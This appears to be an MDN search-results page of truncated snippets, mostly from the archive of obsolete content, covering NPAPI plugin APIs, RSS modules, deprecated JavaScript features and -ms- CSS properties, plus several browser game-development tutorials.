start-up. where point. cursor location. modifiers integer. flags. xevent npevent on unix/x11 npevent is defined as an xevent data structure, which is a union of a number of different x11 event structures. type the type member is an int representing an event type, and indicating which structure is relevant. the event type may be any of the ollowing: graphicsexpose focusin focusout enternotify l...
NPN_Enumerate - Archive of obsolete content
include <npruntime.h> bool npn_enumerate(npp npp, npobject *npobj, npidentifier **identifiers, uint32_t *identifiercount); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request. npobj the object of which the properties and methods are to be retrieved. identifiers a pointer to receive a pointer to the
start of an array of string identifiers of the names of the properties and methods of npobj. identifiercount a pointer to receive the number of identifiers in identifiers. returns true if the names of the properties and methods were successfully retrieved, otherwise false. note: the caller must call npn_memfree() on the pointer received through the identifiers parameter of a successful call to np...
NPN_GetValue - Archive of obsolete content
nfkc-encoded (normalized) utf-8. memory for this string must be freed by the plugin via npn_memfree(). for more information, see the document origin specification. npnvplugindrawingmodel: (mac only) npnvsupportsquickdrawbool : (mac only) npnvsupportscoregraphicsbool : (mac only) value function returns the name of the plug-in in the value parameter. gecko 1.9.2 note
starting with gecko 1.9.2 (firefox 3.6), the variables npnvservicemanager, npnvdomelement, and npnvdomwindow are no longer supported. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_getvalue returns the browser information set with npn_setvalue. the q...
NPN_ReloadPlugins - Archive of obsolete content
the function has the following parameter: reloadpages whether to reload pages. if true, all pages are reloaded once the plugins are reloaded; otherwise, they aren't. description npn_reloadplugins() reads the plugins directory for the current platform and reinstalls all of the plug-ins it finds there. normally, if you add or remove any plug-ins, the browser does not see them until you re
start gecko. npn_reloadplugins() lets you install a new plug-in and load it, or to remove a plug-in, without having to re
start the browser. you could use this function as part of the plug-in's installation process. see also npn_version() ...
NPP_Write - Archive of obsolete content
nstance pointer to the current plug-in instance. stream pointer to the current stream. offset offset in bytes of buf from the beginning of the data in the stream. can be used to check stream progress or by range requests from npn_requestread. len length in bytes of buf; number of bytes accepted. buf buffer of data, delivered by the stream, that contains len bytes of data offset bytes from the
start of the stream. the buffer is allocated by the browser and is deleted after returning from the function, so the plug-in should make a copy of the data it needs to keep. returns the plug-in should return the number of bytes written (consumed by the instance). if the return value is smaller than the size of the buffer, the browser sends the remaining data to the plug-in through subsequent calls to...
The First Install Problem - Archive of obsolete content
tall problem is the name given to the conditions arising when a plugin or embeddable software installs itself on a system first, before any other gecko-based browser. if this happens, gecko-based browsers often won't be able to discover the plugin, and will prompt the user to download the plugin again if the affiliated mime type is encountered on the web. unless gecko does a pre-emptive scan upon
startup for desirable plugins that are not in the browser's plugins directory first, the best way to solve this problem is to encourage plugin vendors to leave dlls (and xpt files, if applicable) in a location that gecko can discover at runtime. this document presents a consistent way to do that. proposed solution on mac os x, the system's plugins folder will probably suffice as an install location in...
Writing a plugin for Mac OS X - Archive of obsolete content
this article is adapted from josh aas's blog post writing an npapi plugin for mac os x. before you go on reading this article, you may wish to grab the sample code located here, as it will be referenced during this tutorial. the sample is posted under a bsd-style license that means you can use it for anything, even if you don't plan to release your source code. getting
started if you check out the mozilla source code in mac os x, you can simply open basicplugin.xcodeproj in xcode, click build, and you're done. xcode will create a "build" directory next to the project file, and if you built it in release mode, that folder in turn contains a "release" directory with the plugin inside it. to install the plugin, just copy it into one of these two locations: /library/internet plugin...
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
call, the window parameter will be the xid of the hosting xembed window. as an implementation note, this is really the xid of a gtksocket window. in your plugin instance npp_getvalue call you need to make sure that you support the new nppvpluginneedsxembed value. more information is included on this below. hosting using gtk2.x included below are a couple of code snippits that should help you get
started as well as some hints on building a successful plugin. please use the following diagram as a reference: as you can see from the diagram above, it's pretty easy to set up a plugin using gtk2. the general idea is that you use the xid that was passed into your npp_setwindow() call and create a gtkplug to host inside of that socket. since the gtkplug is just a container, you can add your own widge...
Atomic RSS - Archive of obsolete content
atomic rss uses atom as an rss module. it brings in atom elements into rss, adding the advantages of atom to rss while maintaining backwards compatibility. documentation selected articles atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements. ...
Content - Archive of obsolete content
the rss content module provides facilities to include content for an <item>. but doing this in more efficient ways. documentation selected articles why rss content module is popular - including html contents charles iliya krempeaux talks about the rss content module, why it is popular among some, and how it is used to include html contents. ...
Slash - Archive of obsolete content
the rss slash module is popular among slash based blogs and blogs imitating the feel for slashdot. slash is the engine behind the famous slashdot. documentation selected articles up to 10 why rss slash is popular: counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments (2005-08-22). ...
Well-Formed Web - Archive of obsolete content
the well-formed web rss module provides facilities for <item> level commenting: for linking to comments contained in an external rss feed, and for posting new comments. documentation selected articles why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments (2005-08-22). ...
RSS - Archive of obsolete content
really simple syndication (rss) is a popular html-like xml-based data format used for syndication. rss has a sordid history and a multitude of different incompatible rss versions. (some being based on rdf, but most only being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating news, blog posts, ipradio, and iptv, with an amazing amount of momentum. documentation why rss slash is popular - counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments. ...
Introduction to SSL - Archive of obsolete content
ter secret. if the server has requested client authentication, the server attempts to authenticate the client (for details, see "client authentication"). if the client cannot be authenticated, the session is terminated. if the client can be successfully authenticated, the server uses its private key to decrypt the premaster secret, then performs a series of steps (which the client also performs,
starting from the same premaster secret) to generate the master secret. both the client and the server use the master secret to generate thesession keys, which are symmetric keys used to encrypt and decrypt information exchanged during the ssl session and to verify its integrity-that is, to detect any changes in the data between the time it was sent and the time it is received over the ssl connection.
The Basics of Web Services - Archive of obsolete content
feeds are a simple example of how a web service works, most commonly, xml-rpc or soap are also used to communicate between a server and a client. introducing xml-rpc xml-rpc is a type of web service and has been around since 1998, though not an official w3c standard, it is widely used. xml-rpc was developed by useful inc, along with microsoft. warning: xml-rpc support was removed from firefox
starting with firefox 3. introducing soap soap, a web service, is listed as a w3c standard, and is similar in ways to xml-rpc. soap also has backing from ibm, as well as microsoft. warning: soap support was removed from firefox
starting with firefox 3. soap or xml-rpc? briefly, soap was intended to fill gaps in xml-rpc. an example is, it is easier to send a multi-dimensional array with soap rather...
Create Your Own Firefox Background Theme - Archive of obsolete content
ith the browser ui. firefox may reveal more of the upper portion of the image if the find bar is open or if an extension adds more height to the bottom of the window. the left-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser reveals more of the right-hand side of the image. submitting your theme images to get
started submitting your images, go to the theme submission page: name your theme — pick a unique name for your theme. duplicate names are not allowed, so you may need to try a few times to find a unique name. pick a category and tags — select a category and enter some tags that best describe your theme. keep in mind that a reviewer may reject your theme if it is obvious that your category and/o...
Creating a Skin for Firefox - Archive of obsolete content
he interface; instead, it just defines how the interface looks. you can't change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example). if you want to change the functionality of firefox, you'll have to look into modifying the chrome, which is beyond the scope of this document. ...
Settings - Archive of obsolete content
if this option is set (it is set by default) and "pause on exceptions" is set, then execution will pause on an exception only if that exception is not caught. this is usually the behavior you want. you don't generally want to pause execution when an exception that is thrown is caught, since that generally indicates that your program is handling it properly. show panes on
startup when this option is enabled, the debugger's variables pane is visible when you first
start the debugger. show only enumerable properties do not display non-enumerable javascript properties. show variables filter box enabling this option adds a "filter variables" search box to the variables pane, so that you can filter the displayed list of variables. show ori...
Scratchpad - Archive of obsolete content
scratchpad provides an environment for experimenting with javascript code. you can write, run, and examine the results of code that interacts with the web page. unlike the web console, which is designed for interpreting a single line of code at a time, scratchpad lets you edit larger chunks of javascript code, then execute it in various ways depending on how you want to use the output. ...
Developing cross-browser and cross-platform pages - Archive of obsolete content
as new browsers are released, it becomes necessary to make updates to such code which attempts to narrow down the browser and browser version and to make the appropriate switches. another major problem with this approach is that the browser identity can be "spoofed" because, in many modern browsers, the navigator.appversion and n...
-ms-content-zoom-chaining - Archive of obsolete content
its a zoom limit during page manipulation. chained the nearest zoomable parent element begins zooming when the user hits a zoom limit during page manipulation. no bounce effect is shown. formal syntax none | chained specifications not part of any specification. remarks this property has no effect on non-zoomable elements. for information on zoomable elements, see -ms-content-zooming.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-limit-max - Archive of obsolete content
iedanimation typediscrete syntax values <percentage> the maximum zoom factor. formal syntax <percentage> specifications not part of any specification. remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property. this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-limit-min - Archive of obsolete content
iedanimation typediscrete syntax values <percentage> the minimum zoom factor. formal syntax <percentage> specifications not part of any specification. remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property. this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-limit - Archive of obsolete content
t-zoom-limit-min value of the -ms-content-zoom-limit-min property. -ms-content-zoom-limit-max value of the -ms-content-zoom-limit-max property. formal syntax <'-ms-content-zoom-limit-min'> <'-ms-content-zoom-limit-max'> specifications not part of any specification. remarks this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-snap-points - Archive of obsolete content
user pans or scrolls and then lifts his or her contact (for instance, a finger), the content can continue to move with inertia. snap-points can change the animation that runs when the user lifts his or her finger so that you can adjust where the content will stop. by placing snap-points, you can make it easy for your users to manipulate your content and make it stop at convenient or key places.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-snap-type - Archive of obsolete content
user pans or scrolls and then lifts his or her contact (for instance, a finger), the content can continue to move with inertia. snap-points can change the animation that runs when the user lifts his or her finger so that you can adjust where the content will stop. by placing snap-points, you can make it easy for your users to manipulate your content and make it stop at convenient or key places.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows or later. ...
-ms-content-zoom-snap - Archive of obsolete content
nap-type value of the -ms-content-zoom-snap-type property. -ms-content-zoom-snap-points value of the -ms-content-zoom-snap-points property. formal syntax <'-ms-content-zoom-snap-type'> | <'-ms-content-zoom-snap-points'> specifications not part of any specification. remarks this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zooming - Archive of obsolete content
e initial value of the top-level element. the element is zoomable. formal syntax none | zoom specifications not part of any specification. remarks this property has no effect unless overflow is permitted on both the x- and y-axes. by default, zoom-enabled elements can be zoomed by the user via pinch-zoom. the top-level element can also be zoomed via double-tap when it is zoom-enabled.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-scroll-rails - Archive of obsolete content
heritednocomputed valueas specifiedanimation typediscrete syntax values none the content moves exactly with the user's finger. this value allows for free-form panning. railed initial value. panning locks to the primary axis of motion. formal syntax none | railed specifications not part of any specification. remarks this property has no effect on non-scrollable elements.
starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-scroll-snap-x - Archive of obsolete content
llowing example have the same effect. .scroll1 { -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); } .scroll2 { -ms-scroll-snap-x: proximity snaplist(100%, 200%, 300%, 400%, 500%); } specifications not part of any specification. remarks this property requires windows 8 or later. this property has no effect on non-scrollable elements.
starting with windows 8.1, this property is also supported for mouse, keyboard, and touchpad interaction. ...
-ms-scroll-snap-y - Archive of obsolete content
perty. the two selectors in the following example have the same effect. .scroll1 { -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0, 100%); } .scroll2 { -ms-scroll-snap-y: mandatory snapinterval(0, 100%); } specifications not part of any specification. remarks this property requires windows 8 or later. this property has no effect on non-scrollable elements.
starting with windows 8.1, this property is also supported for mouse, keyboard, and touchpad interaction. ...
:-moz-system-metric() - Archive of obsolete content
rollbar-end-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-end-forward)the :-moz-system-metric(scrollbar-end-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-
start-backward)the :-moz-system-metric(scrollbar-
start-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the
start of scrollbars.:-moz-system-metric(scrollbar-
start-forward)the :-moz-system-metric(scrollbar-
start-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the star...
Array comprehensions - Archive of obsolete content
for future-facing usages, consider using array.prototype.map, array.prototype.filter, arrow functions, and spread syntax. obsolete since gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one. however, it has been removed from the standard and the firefox implementation. ...
Expression closures - Archive of obsolete content
for future-facing usages, consider using arrow functions. expression closures are a shorthand function syntax for writing simple functions. syntax function [name]([param1[, param2[, ..., paramn]]]) expression parameters name the function name. can be omitted, in which case the function is anonymous. the name is only local to the function body. paramn the name of an argument to be passed to the function. a function can have up to 255 arguments. ...
Function.prototype.isGenerator() - Archive of obsolete content
syntax fun.isgenerator() return value a boolean indicating whether or not the given function is a generator. description the isgenerator() method determines whether or not the function fun is a generator. it was part of an early harmony proposal, but has not been included in the ecmascript 2015 specification. ...
Generator comprehensions - Archive of obsolete content
for future-facing usages, consider using generator. the generator comprehension syntax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object. however, it has been removed from the standard and the firefox implementation. ...
ActiveXObject - Archive of obsolete content
automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object. to create an automation object, assign the new activexobject to an object variable: var excelapp = new activexobject("excel.application"); var excelsheet = new activexobject("excel.sheet"); this code
starts the application creating the object (in this case, a microsoft excel worksheet). once an object is created, you refer to it in code using the object variable you defined. in the following example, you access properties and methods of the new object using the object variable excelsheet and other excel objects, including the application object and the activesheet.cells collection. // make excel v...
Debug.write - Archive of obsolete content
rings are sent. example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger. note: to run this example, you must have a script debugger installed and the script must run in debug mode. internet explorer 8 includes the javascript debugger. if you are using an earlier version of internet explorer, see how to: enable and
start script debugging from internet explorer. var counter = 42; debug.write("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, internet explorer 10 standards, internet explorer 11 standards. also supported in store apps (win...
Debug.writeln - Archive of obsolete content
gs. example this example uses the debug.writeln function to display the value of the variable in the immediate window of the microsoft script debugger. note: to run this example, you must have a script debugger installed and the script must run in debug mode. internet explorer 8 includes the javascript debugger. if you are using an earlier version of internet explorer, see how to: enable and
start script debugging from internet explorer. var counter = 42; debug.writeln("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, internet explorer 10 standards, internet explorer 11 standards. also supported in store apps ...
Debug - Archive of obsolete content
ing may be enabled or disabled whether or not a debugger is attached. debug.setnonusercodeexceptions determines whether any try-catch blocks in this scope are to be treated by the debugger as user-unhandled. functions debug.mstraceasynccallbackcompleted indicates that the callback stack associated with a previously specified asynchronous operation has completed. debug.mstraceasynccallback
starting associates the callback stack with a previously specified asynchronous operation. debug.mstraceasyncoperationcompleted indicates that an asynchronous operation has completed. debug.mstraceasyncoperation
starting initiates a trace for an asynchronous operation. debug.msupdateasynccallbackrelation updates the relationship status between a synchronous work item and the associated asynchron...
ECMAScript 2015 support in Mozilla - Archive of obsolete content
refox 46) generic regexp.prototype.tostring (firefox 39) regexp.prototype[@@match]() (firefox 49) regexp.prototype[@@replace]() (firefox 49) regexp.prototype[@@search]() (firefox 49) regexp.prototype[@@split]() (firefox 49) get regexp[@@species] (firefox 49) additions to the string object string.fromcodepoint() (firefox 29) string.prototype.codepointat() (firefox 29) string.prototype.
startswith(), string.prototype.endswith() (firefox 17) string.prototype.includes() (firefox 40) (formerly string.prototype.contains() (firefox 17)) string.prototype.repeat() (firefox 24) string.prototype.normalize() (firefox 31) string.raw() (firefox 34) \u{xxxxxx} unicode code point escapes (firefox 40) new symbol object symbol (firefox 36) symbol.iterator (firefox 36) symbol.for() - globa...
for each...in - Archive of obsolete content
please see warning: javascript 1.6's for-each-in loops are deprecated for migration help. the for each...in statement iterates a specified variable over all values of object's properties. for each distinct property, a specified statement is executed. ...
Archived JavaScript Reference - Archive of obsolete content
writing simple functions.for each...inthe for each...in statement iterates a specified variable over all values of object's properties. for each distinct property, a specified statement is executed.function.aritynot part of any standard.function.prototype.isgenerator()the non-standard isgenerator() method used to determine whether or not a function is a generator. it has been removed from firefox
starting with version 58.generator comprehensionsthe generator comprehension syntax was a javascript expression which allowed you to quickly assemble a new generator function based on an existing iterable object. however, it has been removed from the standard and the firefox implementation. do not use it!handler.enumerate()the handler.enumerate() method used to be a trap for for...in statements, but ha...
LiveConnect Overview - Archive of obsolete content
s the following classes: netscape.javascript.jsobject allows java code to access javascript methods and properties. netscape.javascript.jsexception allows java code to handle javascript errors. see the javascript reference for more information about these classes. locating the liveconnect classes in older versions of the netscape browser, these classes were distributed along with the browser.
starting with javascript 1.2, these classes are delivered in a .jar file; in previous versions of javascript, these classes are delivered in a .zip file. for example, with netscape navigator 4 for windows nt, the classes are delivered in the java40.jar file in the program\java\classes directory beneath the navigator directory. more recently, the classes have been distributed with sun's java runtime; in...
JavaObject - Archive of obsolete content
ause the string class is in the java package, you can also use the java synonym and omit the packages keyword when you instantiate the class: var thestring = new java.lang.string("hello, world"); example: accessing methods of a java object because the javaobject thestring is an instance of java.lang.string, it inherits all the public methods of java.lang.string. the following example uses the
startswith method to check whether thestring begins with "hello". var thestring = new java.lang.string("hello, world"); thestring.
startswith("hello"); // returns true example: accessing inherited methods because getclass is a method of object, and java.lang.string extends object, the string class inherits the getclass method. consequently, getclass is also a method of the javaobject which instantia...
Old Proxy API - Archive of obsolete content
returns function.prototype for a function proxy. typeof typeof anobjectproxy === "object" typeof afunctionproxy === "function" instanceof anobjectproxy instanceof c === true if and only if the prototype with which anobjectproxy was initialized equals or inherits from c.prototype afunctionproxy instanceof function === true common mistakes and misunderstanding when
starting using proxies, there are often a few beginners' mistakes and misunderstandings: not implementing all traps. proxies are, by default, "semanticless" objects. if a trap isn't implemented, then if it's a derived trap, the default implementation is used. however, if a fundamental trap is unimplemented, then a call to this trap will throw a typeerror. to make sure no error is thrown when your ob...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
ard h3 {margin: 0 0 0 4px; padding: 0.2em 0 1px 150px; border: 1px solid #339; border-left: 5px double #339; background: #eec url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} note how the image is pushed downward four pixels, while the h3 is pushed rightward four pixels. at the same time, the heading's padding was set to that it had 150 pixels of left padding. thus, the text
starts 159 pixels from the leftmost edge of the card (4px left margin plus 5px left border plus 150px left padding). since all the fish images are 150 pixels wide, that's a good interval between image and text. the last thing to do was style the paragraphs of text in each card. in most cases, there is only one paragraph per card, but a few have two. therefore, i just added a half-em margins on card pa...
background-size - Archive of obsolete content
time here is not effective. people especially interested in this browser are welcome to contribute. it's hard to get reliable information about its css support without having this browser (read: multiple versions of this browser) installed. are you able and willing to do that for all css properties? if so, feel free to change the en/css_reference/property_template and all css property pages ; )
start with -webkit-background-size and investigate support of contain and cover keywords and "omitted second value" behavior. [i assume it's the same as safari, since they just backported a webkit patch into khtml. but we need facts, rather than assumptions.] btw, some time ago i'v listed opera in the property template table and removed netscape because netscape is gecko based and opera has a global m...
Reference - Archive of obsolete content
mething i'm missing? ruakh 20:31, 26 february 2007 (pst) this was something that was supposed to be fixed in the reorganization, which has still yet to occur. sevenspade 22:34, 26 february 2007 (pst) since it doesn't look like the reorganization is going to happen in the very near future, is there any reason i shouldn't take care of this now? ruakh 14:40, 27 february 2007 (pst) please don't
start making large changes without getting an ok from dev-mdc. what did you have in mind? fwiw, i brought up the topic of jsref reorg again recently . imo, it's useful to have separates lists for global functions, global constructors, and other global properties on the contents page.--nickolay 19:10, 7 march 2007 (pst) ...
Writing JavaScript for XHTML - Archive of obsolete content
opers don't apply the fixes mentioned above, you won't be able to use them in your xml-xhtml applications. two possible ways still are there, but neither is very promissing: take the library, recode it and publish it or e-mail the developers, e-mail your friends to e-mail the developers and e-mail your customers to e-mail the developers. if they get the hint and are not too annoyed, perhaps they
start to implement xml features in their libraries. i read about e4x. now, this is perfect, isn't it? as a matter of fact, it isn't. e4x is a new method of using and manipulating xml in javascript. but, standardized by ecma, they neglected to implement an interface to let e4x objects interact with dom objects our document consists of. so, with every advantage e4x has, without a dom interface you can'...
Troubleshooting XForms Forms - Archive of obsolete content
s are within repeat, check that you are using attribute nodeset for the repeat instead of attribute ref. if the instance is not in the empty namespace (xmlns=""), then all binding expressions must use a prefix bound to the namespace. xpath 1.0 expressions do not have a default namespace, so a prefix must always be specified if the namespace is not the empty namespace. if your binding expression
starts with a /, make sure the first thing is the name of the root node of the instance. if your binding expression contains a /, look for any containing xf:group, xf:repeat, xf:input or other elements that set the context node. instance(...) not working be aware that the instance(...) returns an element node, and not the document node. so with an instance like this: <xf:instance id="ins2" xmlns...
Requests For Enhancement - Archive of obsolete content
cking on the 'vote' link on the bug page. the xforms team looks at votes to help determine which bug is more important for our xforms users. rfe categories xforms api this section contains rfe to the xforms api. custom controls i think that xforms is a great way to show that 14 year old html hacks can build really powerful web apps and reduce the need for javascript by 90%. now we need to
start teaching xforms to web newcomers before they are brainwashed into believing that the only way to build cool web apps is to do dom surgery with javascript! dan mccreary. one of the outstanding features of xforms is that it can work with any xml host language. natively, the mozilla xforms implementation supports xforms elements being hosted in xhtml and xul documents. but a form author is not rest...
XForms Styling - Archive of obsolete content
hopefully someone more proficient in mozilla xforms and css can clean this up repeats see the mozilla xforms specials page for some general points. switches can be styled as tabs. triggers use appearance="minimal" to be able to style buttons portability the mozilla xforms extension is one of the few xforms processors which allow for styling of the xforms elements directly, using mostly standard css. processors such as chiba create "old-style" html forms from xforms documents, and must be styled accordingly. however, most of the time the transition is straight-forward: view the source after processing of your xforms document, and map the old styles to the new elements. appearance attributes can also make a big difference. ...
XForms - Archive of obsolete content
ons, is not actively maintained any more since about 2010. the last official release has been done for firefox 3.6 and is available for download on addons.mozilla.org. for more details about the future of the mozilla xforms extension see this blog post. documentation implementation status implementation status of the mozilla xforms extension building get
started with building your own xforms extensions from source. troubleshooting tips for xforms a small collection of tips for troubleshooting common problems with xforms forms. mozilla xforms specials explains where, and how, mozilla xforms deviates or extends the xforms 1.0 specification. xforms custom controls custom controls lets the form author "sk...
The Business Benefits of Web Standards - Archive of obsolete content
many cases, rendering differences are caused by ambiguous coding. for developers who are in commercial environments and are in a postion to measure these time costs some of the figures are astonishing. a single inconsistency between the browsers in a high end feature for the site can absorb the lead developers in hours of painful and frustrating forum hunting and bug fixing. by using standards to
start with we have a known benchmark to measure the known deviations of legacy user agents. nearly all of those deviations are now well documented and the fixes are well published and well known. conversely fixing tag soup is a black hole of time and money. well-formed code significantly reduces rendering differences in various browsers. using validation tools such as the w3c validator helps by spotti...
XUL Booster - Archive of obsolete content
it supports exporting xpi files or registering a file system based project. create an extension you'll need an extension id; see generating guids. add an overlay you'll need the chrome address of the content you wish to overlay, ex. chrome://browser/content/browser.xul. ...
Archive of obsolete content
being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating news, blog posts, ipradio, and iptv, with an amazing amount of momentum. sax sax, short forsimple api for xml, is a parsing api. sax was the first widely adopted api for xml in java, and later implemented in several other programming language environments.
starting with firefox 2, a sax parser is available to xul applications and extensions. for more information, please see sax homepage. security relying on these obsolete security articles is highly discouraged. doing so may put your systems at risk. solaris 10 build prerequisites sunbird theme tutorial this tutorial is a step-by...
Game monetization - Game development
oney on it. advertisements instead of actively selling the games you can also try to get yourself a passive income — showing adverts and relying on previous activities related to promoting your game may benefit, but your game has to be addictive, which isn't as easy as it sounds. you still need to plan it out, and at some point you'll need a bit of luck too. if your game goes viral and people
start sharing it, you can get a lot of downloads and money out of adverts. there are many companies offering advert systems — you sign up and allow them to show adverts in exchange for a percentage of the earnings. google adsense is said to be the most effective one, but it's not designed for games and it's a pretty bad practice to use it for that purpose. instead of risking of having your account c...
Explaining basic 3D theory - Game development
coordinate system 3d essentially is all about representations of shapes in a 3d space, with a coordinate system used to calculate their position. webgl uses the right-hand coordinate system — the x axis points to the right, the y axis points up, and the z axis points out of the screen, as seen in the above diagram. objects different types of objects are built using vertices. a vertex is a point in space having its own 3d position in the coordinate system and usually some additional information that defines it. ...
Building up a basic demo with PlayCanvas - Game development
pilot your plane around a magical island, collecting jewels and fuel as you go. visualizations like the star lord and bmw i8 also take advantage of the engine and showcase what's possible. note: check out the list of featured demos to find more examples. engine vs editor the engine itself can be used as a standard library by including its javascript file directly in your html, so you can
start coding right away; in addition the playcanvas toolset comes with an online editor that you can use to drag and drop components onto the scene — a great way to create games and other apps requiring scenes if you're more of a designer than a coder. those approaches are different but work equally well regarding achieving end goals. playcanvas engine built for modern browsers, playcanvas is a ful...
GLSL Shaders - Game development
webgl (web graphics library) is more than enough. we've used three.js here to make the background code a lot simpler and clearer to understand, so you can just focus on the shader code. three.js and other 3d libraries abstract a lot of things for you — if you wanted to create such an example in raw webgl, you'd have to write a lot of extra code to actually make it work. environment setup to
start with the webgl shaders you don't need much. you should: make sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. create a directory to store your experiments in. save a copy of the latest minimized three.js library inside your directory. html structure here's the html structure we will use. <!doctype html> <html> <head> <meta charset="utf-8...
WebVR — Virtual Reality for the Web - Game development
gle web game can be played on various devices like laptops without vr hardware, pcs with oculus rift, or smartphones inside google cardboard and still deliver a unique and valuable experience across all of them. it's like responsive design, but applied to the vr world — write once and run in any vr headset ... or without it. you can check the webvr boilerplate sources — it's a good example to
start learning webvr from, and a
starting point for any web-based vr experience. there's also a markup framework called a-frame that offers simple building blocks for webvr, so you can rapidly build and experiment with vr websites and games: read the building up a basic demo with a-frame tutorial for more details. immersion is more important than gameplay or graphics - you have to feel you're "inside...
3D games on the Web - Game development
for more, see webxr device api. there's also the building up a basic demo with a-frame article showing you how easy it is to build 3d environments for virtual reality using the a-frame framework. the rise of libraries and frameworks coding raw webgl is fairly complex, but you'll want to get to grips with it in the long run, as your projects get more advanced (see our webgl documentation to get
started.) for real-world projects you'll probably also make use of a framework to speed up development and help you manage the project you're working on. using a framework for 3d games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself. the most popular javascript 3d library is three.js, a multi-purpose tool that makes commo...
Async scripts for asm.js - Game development
every medium or large game should compile asm.js code as part of an async script to give the browser the maximum flexibility to optimize the compilation process. in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (
starting in firefox 28). to see the difference, toggle javascript.options.parallel_parsing in about:config. putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.ap...
Techniques for game development - Game development
games using open web technologies. using async scripts for asm.js especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's javascript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users. this article explains how. optimizing
startup performance how to make sure your game
starts up quickly, smoothly, and without appearing to lock up the user's browser or device. using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players. this article explains what this can do for...
Build the brick field - Game development
u have previously declared in your program. var brickrowcount = 3; var brickcolumncount = 5; var brickwidth = 75; var brickheight = 20; var brickpadding = 10; var brickoffsettop = 30; var brickoffsetleft = 30; here we've defined the number of rows and columns of bricks , their width and height, the padding between the bricks so they won't touch each other and a top and left offset so they won't
start being drawn right from the edge of the canvas. we will hold all our bricks in a two-dimensional array. it will contain the brick columns (c), which in turn will contain the brick rows (r), which in turn will each contain an object containing the x and y position to paint each brick on the screen. add the following just below your variables: var bricks = []; for(var c=0; c<brickcolumncount; c++)...
Track the score and win - Game development
document.location.reload(); clearinterval(interval); // needed for chrome to end game } } } } } } thanks to this, your users can actually win the game when they destroy all the bricks, which is quite important when it comes to games. the document.location.reload() function reloads the page and
starts the game again once the alert button is clicked. compare your code the latest code looks (and works) like this, in case you want to compare and contrast it with yours: exercise: add more points per brick hit, print out the number of collected points in the end game alert box. next steps the game looks pretty good at this point. in the next lesson you will broaden the game's appeal by ad...
Build the brick field - Game development
count: { row: 3, col: 7 }, offset: { top: 50, left: 60 }, padding: 10 }; } this brickinfo object will hold all the information we need: the width and height of a single brick, the number of rows and columns of bricks we will see on screen, the top and left offset (the location on the canvas where we shall
start to draw the bricks) and the padding between each row and column of bricks. now, let's
start creating the bricks themselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below t...
Extra lives - Game development
